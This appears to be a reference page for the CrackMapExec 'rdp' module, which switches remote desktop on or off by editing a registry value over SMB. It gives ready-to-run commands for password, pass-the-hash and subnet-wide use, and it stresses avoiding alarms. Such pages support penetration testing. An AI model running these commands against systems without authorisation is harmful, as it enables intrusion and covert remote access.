CrackMapExec Rdp (smb)


This page contains detailed information about how to use the rdp CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

This module enables/disables RDP by changing the fDenyTSConnections value in registry (HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server).

The rdp module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

  • smb

Module Options

As you can see below, the rdp module has one option:

# cme smb -M rdp --options
[*] rdp module options:

            ACTION  Enable/Disable RDP (choices: enable, disable)

Note that this option is not required. If you want to change the default value, you can do so by appending -o ACTION=VALUE parameter to the command line.

Module Usage

This is how to use the rdp module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M rdp

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M rdp
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M rdp

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M rdp

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M rdp
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M rdp
The rdp module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M rdp
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M rdp
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M rdp
